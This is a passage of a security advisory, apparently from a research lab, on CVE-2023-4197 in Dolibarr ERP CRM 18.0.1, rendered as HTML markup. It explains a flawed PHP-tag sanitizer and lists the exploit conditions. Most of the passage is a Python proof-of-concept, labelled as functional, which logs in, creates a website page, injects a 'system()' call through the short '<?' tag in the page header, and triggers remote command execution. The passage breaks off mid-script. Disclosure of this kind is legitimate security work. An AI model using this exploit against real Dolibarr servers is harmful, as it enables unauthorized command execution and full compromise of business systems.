class=\"c1\">// Split on each opening tag\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>    <span class=\"c1\">//$parts = explode(&#39;&lt;?php&#39;, $str);\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>    <span class=\"nv\">$parts</span> <span class=\"o\">=</span> <span class=\"nx\">preg_split</span><span class=\"p\">(</span><span class=\"s1\">&#39;/&#39;</span><span class=\"o\">.</span><span class=\"nx\">preg_quote</span><span class=\"p\">(</span><span class=\"s1\">&#39;&lt;?php&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;/&#39;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"s1\">&#39;/i&#39;</span><span class=\"p\">,</span> <span class=\"nv\">$str</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"o\">!</span><span class=\"k\">empty</span><span class=\"p\">(</span><span class=\"nv\">$parts</span><span class=\"p\">))</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nv\">$i</span> <span class=\"o\">=</span> <span class=\"mi\">0</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"k\">foreach</span> <span class=\"p\">(</span><span class=\"nv\">$parts</span> <span class=\"k\">as</span> <span class=\"nv\">$part</span><span class=\"p\">)</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"nv\">$i</span> <span class=\"o\">==</span> <span class=\"mi\">0</span><span class=\"p\">)</span> <span class=\"p\">{</span>  <span class=\"c1\">// The first part is never php code\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>                <span class=\"nv\">$i</span><span class=\"o\">++</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">                <span class=\"k\">continue</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"nv\">$newstr</span> <span class=\"o\">.=</span> <span class=\"s1\">&#39;&lt;?php&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"c1\">//split on closing tag\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>            <span class=\"nv\">$partlings</span> <span class=\"o\">=</span> <span class=\"nx\">explode</span><span class=\"p\">(</span><span class=\"s1\">&#39;?&gt;&#39;</span><span class=\"p\">,</span> <span class=\"nv\">$part</span><span class=\"p\">,</span> <span class=\"mi\">2</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">if</span> <span class=\"p\">(</span><span class=\"o\">!</span><span class=\"k\">empty</span><span class=\"p\">(</span><span class=\"nv\">$partlings</span><span class=\"p\">))</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">                <span class=\"nv\">$newstr</span> <span class=\"o\">.=</span> <span class=\"nv\">$partlings</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"s1\">&#39;?&gt;&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">}</span> <span class=\"k\">else</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">                <span class=\"nv\">$newstr</span> <span class=\"o\">.=</span> <span class=\"nv\">$part</span><span class=\"o\">.</span><span class=\"s1\">&#39;?&gt;&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">return</span> <span class=\"nv\">$newstr</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}</span>\r\n</span></span></code></pre></div><p>This function takes in a single argument which is the string to sanitize. It first replaces all occurrences of <code>&lt;?=</code> with <code>&lt;?php</code> and subsequently all <code>&lt;?php</code> tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.</p>\r\n<p>In order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the <code>&lt;?</code> tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. <code>system()</code>). After the web page is modified successfully, previewing the updated page would trigger the RCE:</p>\r\n<p><img loading=\"lazy\" src=\"/advisories/23/images/CVE-2023-4197_01.RCE.png\" alt=\"\"  />\r\n</p>\r\n<h2 id=\"exploit-conditions\">Exploit Conditions:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#exploit-conditions\">#</a></h2>\r\n<p>This vulnerability can be exploited when the &ldquo;Website&rdquo; module is enabled, as well as having access to a low-privilege user account.</p>\r\n<h2 id=\"proof-of-concept\">Proof-of-Concept:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#proof-of-concept\">#</a></h2>\r\n<p>We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-py\" data-lang=\"py\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Via: https://TARGET_HOST/website/index.php</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">#!/usr/bin/env python3</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">os</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">re</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">requests</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">sys</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import</span> <span class=\"nn\">uuid</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">packages</span><span class=\"o\">.</span><span class=\"n\">urllib3</span><span class=\"o\">.</span><span class=\"n\">disable_warnings</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">s</span> <span class=\"o\">=</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">Session</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">check_args</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">global</span> <span class=\"n\">target</span><span class=\"p\">,</span> <span class=\"n\">username</span><span class=\"p\">,</span> <span class=\"n\">password</span><span class=\"p\">,</span> <span class=\"n\">cmd</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;</span><span class=\"se\">\\n</span><span class=\"s2\">===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====</span><span class=\"se\">\\n</span><span class=\"s2\">&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">)</span> <span class=\"o\">!=</span> <span class=\"mi\">5</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Please enter the required arguments like so: python3 </span><span class=\"si\">{}</span><span class=\"s2\"> https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE&#34;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]))</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">target</span> <span class=\"o\">=</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">strip</span><span class=\"p\">(</span><span class=\"s2\">&#34;/&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">username</span> <span class=\"o\">=</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">password</span> <span class=\"o\">=</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">3</span><span class=\"p\">]</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">cmd</span> <span class=\"o\">=</span> <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">argv</span><span class=\"p\">[</span><span class=\"mi\">4</span><span class=\"p\">]</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">authenticate</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">global</span> <span class=\"n\">s</span><span class=\"p\">,</span> <span class=\"n\">csrf_token</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Attempting to authenticate...&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># GET the CSRF token</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/&#34;</span><span class=\"p\">,</span> <span class=\"n\">verify</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">csrf_token</span> <span class=\"o\">=</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">search</span><span class=\"p\">(</span><span class=\"s2\">&#34;</span><span class=\"se\">\\&#34;</span><span class=\"s2\">anti-csrf-newtoken</span><span class=\"se\">\\&#34;</span><span class=\"s2\"> content=</span><span class=\"se\">\\&#34;</span><span class=\"s2\">(.+)</span><span class=\"se\">\\&#34;</span><span class=\"s2\">&#34;</span><span class=\"p\">,</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">group</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">strip</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Login</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;token&#34;</span><span class=\"p\">:</span> <span class=\"n\">csrf_token</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;username&#34;</span><span class=\"p\">:</span> <span class=\"n\">username</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;password&#34;</span><span class=\"p\">:</span> <span class=\"n\">password</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;actionlogin&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;login&#34;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/&#34;</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">verify</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"s2\">&#34;Logout&#34;</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Authentication failed! Are the credentials valid?&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">else</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Authenticated successfully!&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def</span> <span class=\"nf\">rce</span><span class=\"p\">():</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Create web site</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Attempting to create a website...&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">website_name</span> <span class=\"o\">=</span> <span class=\"n\">uuid</span><span class=\"o\">.</span><span class=\"n\">uuid4</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">hex</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;WEBSITE_REF&#34;</span><span class=\"p\">:</span> <span class=\"n\">website_name</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;token&#34;</span><span class=\"p\">:</span> <span class=\"n\">csrf_token</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;action&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;addsite&#34;</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;WEBSITE_LANG&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;en&#34;</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;addcontainer&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;create&#34;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/website/index.php&#34;</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">verify</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"sa\">f</span><span class=\"s2\">&#34;Website - </span><span class=\"si\">{</span><span class=\"n\">website_name</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Website creation failed!&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">else</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;[+] Created website name: </span><span class=\"se\">\\&#34;</span><span class=\"si\">{</span><span class=\"n\">website_name</span><span class=\"si\">}</span><span class=\"se\">\\&#34;</span><span class=\"s2\">!&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Create web page</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Attempting to create a web page...&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">webpage_name</span> <span class=\"o\">=</span> <span class=\"n\">uuid</span><span class=\"o\">.</span><span class=\"n\">uuid4</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">hex</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;website&#34;</span><span class=\"p\">:</span> <span class=\"n\">website_name</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;token&#34;</span><span class=\"p\">:</span> <span class=\"n\">csrf_token</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;action&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;addcontainer&#34;</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;WEBSITE_TYPE_CONTAINER&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;page&#34;</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;WEBSITE_TITLE&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;x&#34;</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;WEBSITE_PAGENAME&#34;</span><span class=\"p\">:</span> <span class=\"n\">webpage_name</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/website/index.php&#34;</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">verify</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"sa\">f</span><span class=\"s2\">&#34;Contenair </span><span class=\"se\">\\\\</span><span class=\"s2\">&#39;</span><span class=\"si\">{</span><span class=\"n\">webpage_name</span><span class=\"si\">}</span><span class=\"se\">\\\\</span><span class=\"s2\">&#39; added&#34;</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Web page creation failed!&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">else</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;[+] Created web page name: </span><span class=\"se\">\\&#34;</span><span class=\"si\">{</span><span class=\"n\">webpage_name</span><span class=\"si\">}</span><span class=\"se\">\\&#34;</span><span class=\"s2\">!&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Modify created page</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Attempting to modify the web page...&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">webpage_id</span> <span class=\"o\">=</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">search</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;&lt;option value=</span><span class=\"se\">\\&#34;</span><span class=\"s2\">(.+)</span><span class=\"se\">\\&#34;</span><span class=\"s2\"> .+</span><span class=\"si\">{</span><span class=\"n\">webpage_name</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span><span class=\"p\">,</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">group</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">strip</span><span class=\"p\">()</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;website&#34;</span><span class=\"p\">:</span> <span class=\"n\">website_name</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;WEBSITE_PAGENAME&#34;</span><span class=\"p\">:</span> <span class=\"n\">webpage_name</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;pageid&#34;</span><span class=\"p\">:</span> <span class=\"n\">webpage_id</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;token&#34;</span><span class=\"p\">:</span> <span class=\"n\">csrf_token</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;action&#34;</span><span class=\"p\">:</span> <span class=\"s2\">&#34;updatemeta&#34;</span><span class=\"p\">,</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;htmlheader&#34;</span><span class=\"p\">:</span> <span class=\"sa\">f</span><span class=\"s2\">&#34;&lt;? echo system(&#39;</span><span class=\"si\">{</span><span class=\"n\">cmd</span><span class=\"si\">}</span><span class=\"s2\">&#39;); ?&gt;&#34;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/website/index.php&#34;</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">verify</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"s2\">&#34;Saved&#34;</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">text</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Web page modification failed!&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">else</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[+] Web page modified successfully!&#34;</span><span class=\"p\">)</span>      \r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Trigger RCE</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;[+] Triggering RCE now via: </span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/public/website/index.php?website=</span><span class=\"si\">{</span><span class=\"n\">website_name</span><span class=\"si\">}</span><span class=\"s2\">&amp;pageref=</span><span class=\"si\">{</span><span class=\"n\">webpage_name</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"n\">s</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s2\">&#34;</span><span class=\"si\">{</span><span class=\"n\">target</span><span class=\"si\">}</span><span class=\"s2\">/public/website/index.php?website=</span><span class=\"si\">{</span><span class=\"n\">website_name</span><span class=\"si\">}</span><span class=\"s2\">&amp;pageref=</span><span class=\"si\">{</span><span class=\"n\">webpage_name</span><span class=\"si\">}</span><span class=\"s2\">&#34;</span><span class=\"p\">,</span> <span class=\"n\">verify</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">if</span> <span class=\"n\">res</span><span class=\"o\">.</span><span class=\"n\">status_code</span> <span class=\"o\">!=</span> <span class=\"mi\">200</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&#34;[!] Web page is not reachable!&#34;</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">sys</span><span class=\"o\">.</span><span class=\"n\">exit</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">else</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">output</span> <span class=\"o\">=</span> <span class=\"n\">re</span><span class=\"o\">.</span><span class=\"n\">findall</span><span class=\"p\">(</span><span class=\"s2\">&#34;block --&gt;</span><span class=\"se\">\\n</span><span 